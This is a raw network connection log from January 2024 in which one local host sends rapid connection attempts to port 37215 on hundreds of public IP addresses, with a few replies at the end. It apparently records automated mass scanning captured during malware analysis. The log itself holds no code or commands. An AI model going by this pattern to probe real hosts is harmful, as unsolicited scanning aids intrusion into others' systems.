Jan 22, 2024 03:59:52.417277098 CET	58015	37215	192.168.2.20	41.224.106.170
Jan 22, 2024 03:59:52.417349100 CET	58015	37215	192.168.2.20	157.178.92.73
Jan 22, 2024 03:59:52.417416096 CET	58015	37215	192.168.2.20	181.25.0.222
Jan 22, 2024 03:59:52.417475939 CET	58015	37215	192.168.2.20	160.194.106.94
Jan 22, 2024 03:59:52.417550087 CET	58015	37215	192.168.2.20	107.107.90.103
Jan 22, 2024 03:59:52.417609930 CET	58015	37215	192.168.2.20	156.162.158.143
Jan 22, 2024 03:59:52.417674065 CET	58015	37215	192.168.2.20	154.37.244.63
Jan 22, 2024 03:59:52.417747021 CET	58015	37215	192.168.2.20	156.234.30.216
Jan 22, 2024 03:59:52.417813063 CET	58015	37215	192.168.2.20	156.241.254.76
Jan 22, 2024 03:59:52.417879105 CET	58015	37215	192.168.2.20	186.76.92.93
Jan 22, 2024 03:59:52.417943954 CET	58015	37215	192.168.2.20	121.68.131.94
Jan 22, 2024 03:59:52.418004036 CET	58015	37215	192.168.2.20	197.182.160.128
Jan 22, 2024 03:59:52.418082952 CET	58015	37215	192.168.2.20	94.139.210.142
Jan 22, 2024 03:59:52.418142080 CET	58015	37215	192.168.2.20	41.16.248.133
Jan 22, 2024 03:59:52.418210030 CET	58015	37215	192.168.2.20	181.133.13.219
Jan 22, 2024 03:59:52.418273926 CET	58015	37215	192.168.2.20	120.108.154.32
Jan 22, 2024 03:59:52.418344021 CET	58015	37215	192.168.2.20	41.96.69.31
Jan 22, 2024 03:59:52.418404102 CET	58015	37215	192.168.2.20	120.117.182.183
Jan 22, 2024 03:59:52.418471098 CET	58015	37215	192.168.2.20	156.115.45.91
Jan 22, 2024 03:59:52.418534040 CET	58015	37215	192.168.2.20	197.190.5.44
Jan 22, 2024 03:59:52.418606043 CET	58015	37215	192.168.2.20	41.189.130.160
Jan 22, 2024 03:59:52.418674946 CET	58015	37215	192.168.2.20	197.21.92.90
Jan 22, 2024 03:59:52.418752909 CET	58015	37215	192.168.2.20	107.158.196.210
Jan 22, 2024 03:59:52.418807983 CET	58015	37215	192.168.2.20	156.44.121.251
Jan 22, 2024 03:59:52.418872118 CET	58015	37215	192.168.2.20	197.141.11.203
Jan 22, 2024 03:59:52.418940067 CET	58015	37215	192.168.2.20	41.126.230.222
Jan 22, 2024 03:59:52.419006109 CET	58015	37215	192.168.2.20	37.177.18.63
Jan 22, 2024 03:59:52.419070005 CET	58015	37215	192.168.2.20	41.134.135.104
Jan 22, 2024 03:59:52.419136047 CET	58015	37215	192.168.2.20	197.172.94.112
Jan 22, 2024 03:59:52.419203997 CET	58015	37215	192.168.2.20	41.115.112.53
Jan 22, 2024 03:59:52.419266939 CET	58015	37215	192.168.2.20	190.150.223.27
Jan 22, 2024 03:59:52.419333935 CET	58015	37215	192.168.2.20	186.57.213.135
Jan 22, 2024 03:59:52.419399023 CET	58015	37215	192.168.2.20	197.98.88.46
Jan 22, 2024 03:59:52.419470072 CET	58015	37215	192.168.2.20	190.243.51.77
Jan 22, 2024 03:59:52.419604063 CET	58015	37215	192.168.2.20	156.72.185.137
Jan 22, 2024 03:59:52.419667006 CET	58015	37215	192.168.2.20	197.14.30.206
Jan 22, 2024 03:59:52.419667006 CET	58015	37215	192.168.2.20	41.197.194.50
Jan 22, 2024 03:59:52.419728041 CET	58015	37215	192.168.2.20	197.181.157.75
Jan 22, 2024 03:59:52.419797897 CET	58015	37215	192.168.2.20	197.193.75.104
Jan 22, 2024 03:59:52.419868946 CET	58015	37215	192.168.2.20	138.249.107.208
Jan 22, 2024 03:59:52.419938087 CET	58015	37215	192.168.2.20	197.226.71.27
Jan 22, 2024 03:59:52.420000076 CET	58015	37215	192.168.2.20	92.75.175.57
Jan 22, 2024 03:59:52.420066118 CET	58015	37215	192.168.2.20	156.239.49.247
Jan 22, 2024 03:59:52.420125961 CET	58015	37215	192.168.2.20	156.243.115.83
Jan 22, 2024 03:59:52.420198917 CET	58015	37215	192.168.2.20	181.201.77.128
Jan 22, 2024 03:59:52.420255899 CET	58015	37215	192.168.2.20	197.207.145.210
Jan 22, 2024 03:59:52.420317888 CET	58015	37215	192.168.2.20	156.235.69.46
Jan 22, 2024 03:59:52.420394897 CET	58015	37215	192.168.2.20	156.100.122.89
Jan 22, 2024 03:59:52.420466900 CET	58015	37215	192.168.2.20	41.68.228.19
Jan 22, 2024 03:59:52.420532942 CET	58015	37215	192.168.2.20	45.224.112.103
Jan 22, 2024 03:59:52.420607090 CET	58015	37215	192.168.2.20	156.242.13.154
Jan 22, 2024 03:59:52.420675993 CET	58015	37215	192.168.2.20	156.169.37.213
Jan 22, 2024 03:59:52.420731068 CET	58015	37215	192.168.2.20	197.34.154.252
Jan 22, 2024 03:59:52.420805931 CET	58015	37215	192.168.2.20	156.15.173.44
Jan 22, 2024 03:59:52.420871973 CET	58015	37215	192.168.2.20	181.8.199.39
Jan 22, 2024 03:59:52.420937061 CET	58015	37215	192.168.2.20	154.191.176.140
Jan 22, 2024 03:59:52.421000004 CET	58015	37215	192.168.2.20	41.124.200.78
Jan 22, 2024 03:59:52.421071053 CET	58015	37215	192.168.2.20	138.19.216.166
Jan 22, 2024 03:59:52.421129942 CET	58015	37215	192.168.2.20	121.9.67.219
Jan 22, 2024 03:59:52.421202898 CET	58015	37215	192.168.2.20	156.169.60.183
Jan 22, 2024 03:59:52.421262026 CET	58015	37215	192.168.2.20	197.3.123.66
Jan 22, 2024 03:59:52.421334028 CET	58015	37215	192.168.2.20	156.58.179.149
Jan 22, 2024 03:59:52.421394110 CET	58015	37215	192.168.2.20	197.9.7.64
Jan 22, 2024 03:59:52.421458960 CET	58015	37215	192.168.2.20	41.240.206.130
Jan 22, 2024 03:59:52.421531916 CET	58015	37215	192.168.2.20	41.206.57.189
Jan 22, 2024 03:59:52.421593904 CET	58015	37215	192.168.2.20	197.95.165.10
Jan 22, 2024 03:59:52.421663046 CET	58015	37215	192.168.2.20	160.232.231.237
Jan 22, 2024 03:59:52.421727896 CET	58015	37215	192.168.2.20	186.94.139.19
Jan 22, 2024 03:59:52.421798944 CET	58015	37215	192.168.2.20	41.144.71.39
Jan 22, 2024 03:59:52.421857119 CET	58015	37215	192.168.2.20	41.61.166.186
Jan 22, 2024 03:59:52.421921968 CET	58015	37215	192.168.2.20	156.183.78.114
Jan 22, 2024 03:59:52.421996117 CET	58015	37215	192.168.2.20	197.175.36.242
Jan 22, 2024 03:59:52.422055960 CET	58015	37215	192.168.2.20	196.21.133.55
Jan 22, 2024 03:59:52.422120094 CET	58015	37215	192.168.2.20	156.209.24.180
Jan 22, 2024 03:59:52.422192097 CET	58015	37215	192.168.2.20	197.187.217.246
Jan 22, 2024 03:59:52.422254086 CET	58015	37215	192.168.2.20	156.114.229.224
Jan 22, 2024 03:59:52.422327995 CET	58015	37215	192.168.2.20	122.76.97.15
Jan 22, 2024 03:59:52.422386885 CET	58015	37215	192.168.2.20	160.31.119.54
Jan 22, 2024 03:59:52.422458887 CET	58015	37215	192.168.2.20	222.81.81.188
Jan 22, 2024 03:59:52.422523022 CET	58015	37215	192.168.2.20	156.23.83.197
Jan 22, 2024 03:59:52.422585011 CET	58015	37215	192.168.2.20	196.75.242.66
Jan 22, 2024 03:59:52.422656059 CET	58015	37215	192.168.2.20	41.4.87.92
Jan 22, 2024 03:59:52.422725916 CET	58015	37215	192.168.2.20	41.125.92.58
Jan 22, 2024 03:59:52.422785044 CET	58015	37215	192.168.2.20	120.72.197.138
Jan 22, 2024 03:59:52.422861099 CET	58015	37215	192.168.2.20	156.139.67.21
Jan 22, 2024 03:59:52.422918081 CET	58015	37215	192.168.2.20	120.59.66.26
Jan 22, 2024 03:59:52.422991037 CET	58015	37215	192.168.2.20	138.187.223.211
Jan 22, 2024 03:59:52.423058033 CET	58015	37215	192.168.2.20	156.135.142.194
Jan 22, 2024 03:59:52.423115969 CET	58015	37215	192.168.2.20	41.8.155.54
Jan 22, 2024 03:59:52.423186064 CET	58015	37215	192.168.2.20	41.176.61.37
Jan 22, 2024 03:59:52.423254013 CET	58015	37215	192.168.2.20	190.117.127.115
Jan 22, 2024 03:59:52.423315048 CET	58015	37215	192.168.2.20	156.236.149.143
Jan 22, 2024 03:59:52.423367023 CET	58015	37215	192.168.2.20	156.234.14.171
Jan 22, 2024 03:59:52.423393011 CET	58015	37215	192.168.2.20	197.173.13.149
Jan 22, 2024 03:59:52.423404932 CET	58015	37215	192.168.2.20	181.111.81.82
Jan 22, 2024 03:59:52.423433065 CET	58015	37215	192.168.2.20	41.168.37.97
Jan 22, 2024 03:59:52.423443079 CET	58015	37215	192.168.2.20	156.15.117.192
Jan 22, 2024 03:59:52.423463106 CET	58015	37215	192.168.2.20	92.123.141.98
Jan 22, 2024 03:59:52.423480034 CET	58015	37215	192.168.2.20	156.235.14.104
Jan 22, 2024 03:59:52.423499107 CET	58015	37215	192.168.2.20	94.129.44.124
Jan 22, 2024 03:59:52.423521996 CET	58015	37215	192.168.2.20	181.81.93.54
Jan 22, 2024 03:59:52.423532963 CET	58015	37215	192.168.2.20	41.16.24.33
Jan 22, 2024 03:59:52.423552990 CET	58015	37215	192.168.2.20	92.189.88.17
Jan 22, 2024 03:59:52.423577070 CET	58015	37215	192.168.2.20	156.166.117.241
Jan 22, 2024 03:59:52.423598051 CET	58015	37215	192.168.2.20	41.197.77.101
Jan 22, 2024 03:59:52.423630953 CET	58015	37215	192.168.2.20	102.55.41.179
Jan 22, 2024 03:59:52.423633099 CET	58015	37215	192.168.2.20	197.76.224.54
Jan 22, 2024 03:59:52.423645020 CET	58015	37215	192.168.2.20	156.13.185.161
Jan 22, 2024 03:59:52.423665047 CET	58015	37215	192.168.2.20	41.235.181.67
Jan 22, 2024 03:59:52.423680067 CET	58015	37215	192.168.2.20	197.1.143.227
Jan 22, 2024 03:59:52.423695087 CET	58015	37215	192.168.2.20	107.4.3.153
Jan 22, 2024 03:59:52.423717976 CET	58015	37215	192.168.2.20	107.245.175.35
Jan 22, 2024 03:59:52.423733950 CET	58015	37215	192.168.2.20	37.151.233.249
Jan 22, 2024 03:59:52.423758030 CET	58015	37215	192.168.2.20	156.179.26.164
Jan 22, 2024 03:59:52.423775911 CET	58015	37215	192.168.2.20	197.108.143.60
Jan 22, 2024 03:59:52.423789024 CET	58015	37215	192.168.2.20	41.173.144.22
Jan 22, 2024 03:59:52.423818111 CET	58015	37215	192.168.2.20	37.107.250.13
Jan 22, 2024 03:59:52.423825026 CET	58015	37215	192.168.2.20	197.63.119.145
Jan 22, 2024 03:59:52.423841000 CET	58015	37215	192.168.2.20	45.47.255.54
Jan 22, 2024 03:59:52.423858881 CET	58015	37215	192.168.2.20	41.162.118.128
Jan 22, 2024 03:59:52.423876047 CET	58015	37215	192.168.2.20	197.27.45.160
Jan 22, 2024 03:59:52.423897028 CET	58015	37215	192.168.2.20	190.108.87.147
Jan 22, 2024 03:59:52.423922062 CET	58015	37215	192.168.2.20	197.74.104.154
Jan 22, 2024 03:59:52.423939943 CET	58015	37215	192.168.2.20	41.144.31.45
Jan 22, 2024 03:59:52.423966885 CET	58015	37215	192.168.2.20	41.46.137.131
Jan 22, 2024 03:59:52.423993111 CET	58015	37215	192.168.2.20	41.157.119.170
Jan 22, 2024 03:59:52.423993111 CET	58015	37215	192.168.2.20	181.228.188.7
Jan 22, 2024 03:59:52.424005985 CET	58015	37215	192.168.2.20	138.81.121.237
Jan 22, 2024 03:59:52.424030066 CET	58015	37215	192.168.2.20	41.188.8.31
Jan 22, 2024 03:59:52.424041986 CET	58015	37215	192.168.2.20	197.13.95.209
Jan 22, 2024 03:59:52.424077034 CET	58015	37215	192.168.2.20	156.21.233.61
Jan 22, 2024 03:59:52.424099922 CET	58015	37215	192.168.2.20	156.74.198.216
Jan 22, 2024 03:59:52.424117088 CET	58015	37215	192.168.2.20	41.40.197.224
Jan 22, 2024 03:59:52.424159050 CET	58015	37215	192.168.2.20	94.110.72.237
Jan 22, 2024 03:59:52.424171925 CET	58015	37215	192.168.2.20	156.108.82.173
Jan 22, 2024 03:59:52.424174070 CET	58015	37215	192.168.2.20	41.254.92.79
Jan 22, 2024 03:59:52.424175024 CET	58015	37215	192.168.2.20	41.13.242.91
Jan 22, 2024 03:59:52.424191952 CET	58015	37215	192.168.2.20	41.44.208.165
Jan 22, 2024 03:59:52.424238920 CET	58015	37215	192.168.2.20	41.10.29.182
Jan 22, 2024 03:59:52.424278975 CET	58015	37215	192.168.2.20	102.172.88.37
Jan 22, 2024 03:59:52.424283981 CET	58015	37215	192.168.2.20	197.158.96.17
Jan 22, 2024 03:59:52.424284935 CET	58015	37215	192.168.2.20	197.59.192.158
Jan 22, 2024 03:59:52.424284935 CET	58015	37215	192.168.2.20	41.67.107.149
Jan 22, 2024 03:59:52.424304008 CET	58015	37215	192.168.2.20	41.74.135.76
Jan 22, 2024 03:59:52.424314976 CET	58015	37215	192.168.2.20	197.87.101.67
Jan 22, 2024 03:59:52.424338102 CET	58015	37215	192.168.2.20	197.22.205.104
Jan 22, 2024 03:59:52.424362898 CET	58015	37215	192.168.2.20	41.126.39.208
Jan 22, 2024 03:59:52.424377918 CET	58015	37215	192.168.2.20	138.52.37.120
Jan 22, 2024 03:59:52.424388885 CET	58015	37215	192.168.2.20	156.100.63.183
Jan 22, 2024 03:59:52.424405098 CET	58015	37215	192.168.2.20	157.105.14.58
Jan 22, 2024 03:59:52.424427986 CET	58015	37215	192.168.2.20	197.203.98.198
Jan 22, 2024 03:59:52.424462080 CET	58015	37215	192.168.2.20	92.120.28.204
Jan 22, 2024 03:59:52.424499035 CET	58015	37215	192.168.2.20	156.78.217.205
Jan 22, 2024 03:59:52.424515963 CET	58015	37215	192.168.2.20	37.51.161.238
Jan 22, 2024 03:59:52.424530983 CET	58015	37215	192.168.2.20	122.168.49.114
Jan 22, 2024 03:59:52.424556017 CET	58015	37215	192.168.2.20	41.169.10.30
Jan 22, 2024 03:59:52.424593925 CET	58015	37215	192.168.2.20	154.83.36.121
Jan 22, 2024 03:59:52.424595118 CET	58015	37215	192.168.2.20	156.46.109.63
Jan 22, 2024 03:59:52.424604893 CET	58015	37215	192.168.2.20	120.174.94.219
Jan 22, 2024 03:59:52.424618959 CET	58015	37215	192.168.2.20	197.11.248.213
Jan 22, 2024 03:59:52.424627066 CET	58015	37215	192.168.2.20	41.32.138.106
Jan 22, 2024 03:59:52.424638033 CET	58015	37215	192.168.2.20	156.52.7.171
Jan 22, 2024 03:59:52.424659967 CET	58015	37215	192.168.2.20	181.255.88.49
Jan 22, 2024 03:59:52.424669027 CET	58015	37215	192.168.2.20	92.61.205.45
Jan 22, 2024 03:59:52.424701929 CET	58015	37215	192.168.2.20	156.216.24.88
Jan 22, 2024 03:59:52.424704075 CET	58015	37215	192.168.2.20	120.21.24.62
Jan 22, 2024 03:59:52.424725056 CET	58015	37215	192.168.2.20	45.73.153.165
Jan 22, 2024 03:59:52.424757004 CET	58015	37215	192.168.2.20	37.13.30.4
Jan 22, 2024 03:59:52.424773932 CET	58015	37215	192.168.2.20	41.156.138.35
Jan 22, 2024 03:59:52.424776077 CET	58015	37215	192.168.2.20	197.164.149.167
Jan 22, 2024 03:59:52.424782991 CET	58015	37215	192.168.2.20	197.110.211.207
Jan 22, 2024 03:59:52.424803972 CET	58015	37215	192.168.2.20	94.150.16.66
Jan 22, 2024 03:59:52.424813986 CET	58015	37215	192.168.2.20	197.199.13.25
Jan 22, 2024 03:59:52.424851894 CET	58015	37215	192.168.2.20	197.238.58.225
Jan 22, 2024 03:59:52.424851894 CET	58015	37215	192.168.2.20	107.57.253.87
Jan 22, 2024 03:59:52.424870014 CET	58015	37215	192.168.2.20	156.21.185.10
Jan 22, 2024 03:59:52.424880028 CET	58015	37215	192.168.2.20	197.171.28.252
Jan 22, 2024 03:59:52.424895048 CET	58015	37215	192.168.2.20	41.233.38.49
Jan 22, 2024 03:59:52.424923897 CET	58015	37215	192.168.2.20	156.87.130.35
Jan 22, 2024 03:59:52.424942970 CET	58015	37215	192.168.2.20	41.93.233.39
Jan 22, 2024 03:59:52.424952030 CET	58015	37215	192.168.2.20	197.68.72.209
Jan 22, 2024 03:59:52.424968004 CET	58015	37215	192.168.2.20	222.134.121.201
Jan 22, 2024 03:59:52.424993038 CET	58015	37215	192.168.2.20	156.250.111.227
Jan 22, 2024 03:59:52.424993038 CET	58015	37215	192.168.2.20	156.163.119.40
Jan 22, 2024 03:59:52.425015926 CET	58015	37215	192.168.2.20	41.141.202.117
Jan 22, 2024 03:59:52.425051928 CET	58015	37215	192.168.2.20	222.134.206.210
Jan 22, 2024 03:59:52.425057888 CET	58015	37215	192.168.2.20	156.157.169.24
Jan 22, 2024 03:59:52.425057888 CET	58015	37215	192.168.2.20	156.39.50.236
Jan 22, 2024 03:59:52.425076962 CET	58015	37215	192.168.2.20	197.31.60.69
Jan 22, 2024 03:59:52.425101995 CET	58015	37215	192.168.2.20	197.216.55.145
Jan 22, 2024 03:59:52.425102949 CET	58015	37215	192.168.2.20	138.231.28.224
Jan 22, 2024 03:59:52.425126076 CET	58015	37215	192.168.2.20	41.242.134.19
Jan 22, 2024 03:59:52.425146103 CET	58015	37215	192.168.2.20	156.170.196.130
Jan 22, 2024 03:59:52.425160885 CET	58015	37215	192.168.2.20	41.58.60.7
Jan 22, 2024 03:59:52.425175905 CET	58015	37215	192.168.2.20	197.196.51.248
Jan 22, 2024 03:59:52.425194979 CET	58015	37215	192.168.2.20	157.0.211.139
Jan 22, 2024 03:59:52.425219059 CET	58015	37215	192.168.2.20	41.38.60.73
Jan 22, 2024 03:59:52.425230980 CET	58015	37215	192.168.2.20	41.22.111.67
Jan 22, 2024 03:59:52.425242901 CET	58015	37215	192.168.2.20	196.242.64.176
Jan 22, 2024 03:59:52.425257921 CET	58015	37215	192.168.2.20	41.9.109.53
Jan 22, 2024 03:59:52.425267935 CET	58015	37215	192.168.2.20	222.15.27.145
Jan 22, 2024 03:59:52.425292015 CET	58015	37215	192.168.2.20	154.176.228.116
Jan 22, 2024 03:59:52.425306082 CET	58015	37215	192.168.2.20	156.153.134.143
Jan 22, 2024 03:59:52.425317049 CET	58015	37215	192.168.2.20	156.130.206.254
Jan 22, 2024 03:59:52.425340891 CET	58015	37215	192.168.2.20	41.188.208.119
Jan 22, 2024 03:59:52.425348997 CET	58015	37215	192.168.2.20	157.82.196.247
Jan 22, 2024 03:59:52.425373077 CET	58015	37215	192.168.2.20	122.28.24.12
Jan 22, 2024 03:59:52.425384998 CET	58015	37215	192.168.2.20	156.0.25.119
Jan 22, 2024 03:59:52.425405025 CET	58015	37215	192.168.2.20	41.250.29.247
Jan 22, 2024 03:59:52.425416946 CET	58015	37215	192.168.2.20	197.134.193.241
Jan 22, 2024 03:59:52.425438881 CET	58015	37215	192.168.2.20	41.150.42.138
Jan 22, 2024 03:59:52.425451994 CET	58015	37215	192.168.2.20	157.231.212.201
Jan 22, 2024 03:59:52.425465107 CET	58015	37215	192.168.2.20	41.6.207.201
Jan 22, 2024 03:59:52.425486088 CET	58015	37215	192.168.2.20	156.45.238.90
Jan 22, 2024 03:59:52.425499916 CET	58015	37215	192.168.2.20	94.0.225.86
Jan 22, 2024 03:59:52.425518036 CET	58015	37215	192.168.2.20	197.145.229.243
Jan 22, 2024 03:59:52.425528049 CET	58015	37215	192.168.2.20	41.245.10.207
Jan 22, 2024 03:59:52.425551891 CET	58015	37215	192.168.2.20	95.91.120.177
Jan 22, 2024 03:59:52.425571918 CET	58015	37215	192.168.2.20	41.81.34.13
Jan 22, 2024 03:59:52.425576925 CET	58015	37215	192.168.2.20	122.101.219.94
Jan 22, 2024 03:59:52.425597906 CET	58015	37215	192.168.2.20	196.61.178.158
Jan 22, 2024 03:59:52.425607920 CET	58015	37215	192.168.2.20	156.77.92.77
Jan 22, 2024 03:59:52.425623894 CET	58015	37215	192.168.2.20	41.79.116.12
Jan 22, 2024 03:59:52.425637007 CET	58015	37215	192.168.2.20	157.230.193.220
Jan 22, 2024 03:59:52.425662994 CET	58015	37215	192.168.2.20	181.219.186.77
Jan 22, 2024 03:59:52.425673008 CET	58015	37215	192.168.2.20	156.244.133.181
Jan 22, 2024 03:59:52.425703049 CET	58015	37215	192.168.2.20	156.211.28.166
Jan 22, 2024 03:59:52.425703049 CET	58015	37215	192.168.2.20	156.134.74.170
Jan 22, 2024 03:59:52.425733089 CET	58015	37215	192.168.2.20	94.96.118.59
Jan 22, 2024 03:59:52.425743103 CET	58015	37215	192.168.2.20	197.173.99.167
Jan 22, 2024 03:59:52.425760031 CET	58015	37215	192.168.2.20	107.21.166.116
Jan 22, 2024 03:59:52.425767899 CET	58015	37215	192.168.2.20	41.45.209.217
Jan 22, 2024 03:59:52.425790071 CET	58015	37215	192.168.2.20	197.57.101.117
Jan 22, 2024 03:59:52.425801039 CET	58015	37215	192.168.2.20	41.66.176.82
Jan 22, 2024 03:59:52.425816059 CET	58015	37215	192.168.2.20	156.4.137.118
Jan 22, 2024 03:59:52.425837994 CET	58015	37215	192.168.2.20	156.23.116.245
Jan 22, 2024 03:59:52.425848007 CET	58015	37215	192.168.2.20	92.151.77.253
Jan 22, 2024 03:59:52.425864935 CET	58015	37215	192.168.2.20	41.116.221.38
Jan 22, 2024 03:59:52.425901890 CET	58015	37215	192.168.2.20	156.71.208.115
Jan 22, 2024 03:59:52.425905943 CET	58015	37215	192.168.2.20	160.98.226.143
Jan 22, 2024 03:59:52.425929070 CET	58015	37215	192.168.2.20	41.197.128.18
Jan 22, 2024 03:59:52.425930023 CET	58015	37215	192.168.2.20	197.145.48.238
Jan 22, 2024 03:59:52.425952911 CET	58015	37215	192.168.2.20	41.203.222.94
Jan 22, 2024 03:59:52.425961971 CET	58015	37215	192.168.2.20	41.15.76.164
Jan 22, 2024 03:59:52.425975084 CET	58015	37215	192.168.2.20	121.31.48.122
Jan 22, 2024 03:59:52.426002026 CET	58015	37215	192.168.2.20	197.161.1.62
Jan 22, 2024 03:59:52.426009893 CET	58015	37215	192.168.2.20	197.28.104.242
Jan 22, 2024 03:59:52.426033020 CET	58015	37215	192.168.2.20	102.143.155.251
Jan 22, 2024 03:59:52.426049948 CET	58015	37215	192.168.2.20	186.16.159.237
Jan 22, 2024 03:59:52.426064014 CET	58015	37215	192.168.2.20	41.106.84.129
Jan 22, 2024 03:59:52.426093102 CET	58015	37215	192.168.2.20	154.39.202.42
Jan 22, 2024 03:59:52.426093102 CET	58015	37215	192.168.2.20	156.64.241.1
Jan 22, 2024 03:59:52.426106930 CET	58015	37215	192.168.2.20	156.127.115.154
Jan 22, 2024 03:59:52.426122904 CET	58015	37215	192.168.2.20	41.204.164.26
Jan 22, 2024 03:59:52.426152945 CET	58015	37215	192.168.2.20	197.83.243.87
Jan 22, 2024 03:59:52.426152945 CET	58015	37215	192.168.2.20	41.63.239.82
Jan 22, 2024 03:59:52.426168919 CET	58015	37215	192.168.2.20	41.96.17.190
Jan 22, 2024 03:59:52.426192999 CET	58015	37215	192.168.2.20	154.162.5.219
Jan 22, 2024 03:59:52.426215887 CET	58015	37215	192.168.2.20	156.117.242.160
Jan 22, 2024 03:59:52.426218987 CET	58015	37215	192.168.2.20	156.29.247.178
Jan 22, 2024 03:59:52.426234961 CET	58015	37215	192.168.2.20	95.102.198.78
Jan 22, 2024 03:59:52.426261902 CET	58015	37215	192.168.2.20	41.187.26.0
Jan 22, 2024 03:59:52.426265955 CET	58015	37215	192.168.2.20	197.67.135.164
Jan 22, 2024 03:59:52.426290989 CET	58015	37215	192.168.2.20	156.244.185.98
Jan 22, 2024 03:59:52.426300049 CET	58015	37215	192.168.2.20	156.214.138.112
Jan 22, 2024 03:59:52.426321030 CET	58015	37215	192.168.2.20	41.63.96.83
Jan 22, 2024 03:59:52.426333904 CET	58015	37215	192.168.2.20	41.228.104.123
Jan 22, 2024 03:59:52.426367044 CET	58015	37215	192.168.2.20	107.230.63.42
Jan 22, 2024 03:59:52.426373005 CET	58015	37215	192.168.2.20	41.126.162.37
Jan 22, 2024 03:59:52.426387072 CET	58015	37215	192.168.2.20	41.220.61.82
Jan 22, 2024 03:59:52.426412106 CET	58015	37215	192.168.2.20	157.170.249.138
Jan 22, 2024 03:59:52.426412106 CET	58015	37215	192.168.2.20	45.42.251.4
Jan 22, 2024 03:59:52.426429987 CET	58015	37215	192.168.2.20	156.105.232.97
Jan 22, 2024 03:59:52.426453114 CET	58015	37215	192.168.2.20	154.147.217.218
Jan 22, 2024 03:59:52.426482916 CET	58015	37215	192.168.2.20	107.225.198.14
Jan 22, 2024 03:59:52.426485062 CET	58015	37215	192.168.2.20	41.242.83.187
Jan 22, 2024 03:59:52.426492929 CET	58015	37215	192.168.2.20	197.133.230.62
Jan 22, 2024 03:59:52.426512003 CET	58015	37215	192.168.2.20	41.45.169.242
Jan 22, 2024 03:59:52.426532984 CET	58015	37215	192.168.2.20	197.240.28.199
Jan 22, 2024 03:59:52.426549911 CET	58015	37215	192.168.2.20	222.83.120.199
Jan 22, 2024 03:59:52.426558018 CET	58015	37215	192.168.2.20	197.162.145.118
Jan 22, 2024 03:59:52.426580906 CET	58015	37215	192.168.2.20	41.153.55.136
Jan 22, 2024 03:59:52.426604986 CET	58015	37215	192.168.2.20	156.30.168.37
Jan 22, 2024 03:59:52.426604986 CET	58015	37215	192.168.2.20	92.205.224.150
Jan 22, 2024 03:59:52.426629066 CET	58015	37215	192.168.2.20	181.100.197.104
Jan 22, 2024 03:59:52.426636934 CET	58015	37215	192.168.2.20	156.143.91.211
Jan 22, 2024 03:59:52.426661968 CET	58015	37215	192.168.2.20	138.238.11.132
Jan 22, 2024 03:59:52.426670074 CET	58015	37215	192.168.2.20	95.119.19.223
Jan 22, 2024 03:59:52.426695108 CET	58015	37215	192.168.2.20	156.93.119.28
Jan 22, 2024 03:59:52.426702023 CET	58015	37215	192.168.2.20	222.128.158.182
Jan 22, 2024 03:59:52.426718950 CET	58015	37215	192.168.2.20	122.4.10.178
Jan 22, 2024 03:59:52.426740885 CET	58015	37215	192.168.2.20	197.79.84.30
Jan 22, 2024 03:59:52.426759005 CET	58015	37215	192.168.2.20	41.179.55.239
Jan 22, 2024 03:59:52.426765919 CET	58015	37215	192.168.2.20	196.3.236.219
Jan 22, 2024 03:59:52.426783085 CET	58015	37215	192.168.2.20	102.49.40.14
Jan 22, 2024 03:59:52.426798105 CET	58015	37215	192.168.2.20	156.77.103.91
Jan 22, 2024 03:59:52.426820993 CET	58015	37215	192.168.2.20	186.120.72.59
Jan 22, 2024 03:59:52.426831007 CET	58015	37215	192.168.2.20	41.128.128.238
Jan 22, 2024 03:59:52.426852942 CET	58015	37215	192.168.2.20	45.104.61.40
Jan 22, 2024 03:59:52.426884890 CET	58015	37215	192.168.2.20	121.134.173.97
Jan 22, 2024 03:59:52.426896095 CET	58015	37215	192.168.2.20	197.79.177.49
Jan 22, 2024 03:59:52.426904917 CET	58015	37215	192.168.2.20	197.201.115.44
Jan 22, 2024 03:59:52.426912069 CET	58015	37215	192.168.2.20	45.25.81.26
Jan 22, 2024 03:59:52.426928043 CET	58015	37215	192.168.2.20	197.86.103.27
Jan 22, 2024 03:59:52.426955938 CET	58015	37215	192.168.2.20	138.1.200.111
Jan 22, 2024 03:59:52.426965952 CET	58015	37215	192.168.2.20	156.127.171.168
Jan 22, 2024 03:59:52.426983118 CET	58015	37215	192.168.2.20	41.33.9.57
Jan 22, 2024 03:59:52.427000046 CET	58015	37215	192.168.2.20	222.178.202.90
Jan 22, 2024 03:59:52.427007914 CET	58015	37215	192.168.2.20	41.206.147.90
Jan 22, 2024 03:59:52.427027941 CET	58015	37215	192.168.2.20	154.134.153.28
Jan 22, 2024 03:59:52.427040100 CET	58015	37215	192.168.2.20	41.51.133.96
Jan 22, 2024 03:59:52.427062988 CET	58015	37215	192.168.2.20	156.196.215.234
Jan 22, 2024 03:59:52.427072048 CET	58015	37215	192.168.2.20	197.84.36.154
Jan 22, 2024 03:59:52.427093983 CET	58015	37215	192.168.2.20	41.69.217.144
Jan 22, 2024 03:59:52.427112103 CET	58015	37215	192.168.2.20	41.117.53.146
Jan 22, 2024 03:59:52.427119970 CET	58015	37215	192.168.2.20	196.154.200.23
Jan 22, 2024 03:59:52.427139997 CET	58015	37215	192.168.2.20	41.104.200.210
Jan 22, 2024 03:59:52.427160978 CET	58015	37215	192.168.2.20	156.110.23.165
Jan 22, 2024 03:59:52.427169085 CET	58015	37215	192.168.2.20	41.128.146.185
Jan 22, 2024 03:59:52.427191973 CET	58015	37215	192.168.2.20	156.9.104.86
Jan 22, 2024 03:59:52.427215099 CET	58015	37215	192.168.2.20	41.53.182.55
Jan 22, 2024 03:59:52.427217007 CET	58015	37215	192.168.2.20	197.116.58.216
Jan 22, 2024 03:59:52.427239895 CET	58015	37215	192.168.2.20	95.68.163.234
Jan 22, 2024 03:59:52.427257061 CET	58015	37215	192.168.2.20	94.190.207.237
Jan 22, 2024 03:59:52.427265882 CET	58015	37215	192.168.2.20	154.97.17.205
Jan 22, 2024 03:59:52.427279949 CET	58015	37215	192.168.2.20	156.37.5.225
Jan 22, 2024 03:59:52.427295923 CET	58015	37215	192.168.2.20	45.221.91.50
Jan 22, 2024 03:59:52.427381992 CET	50308	37215	192.168.2.20	156.73.158.59
Jan 22, 2024 03:59:52.539940119 CET	37215	58015	154.37.244.63	192.168.2.20
Jan 22, 2024 03:59:52.586137056 CET	37215	58015	156.242.13.154	192.168.2.20
Jan 22, 2024 03:59:52.588506937 CET	34828	37215	192.168.2.20	92.94.107.197
Jan 22, 2024 03:59:52.593029976 CET	37215	58015	156.235.22.125	192.168.2.20
Jan 22, 2024 03:59:52.610963106 CET	37215	58015	190.108.87.147	192.168.2.20
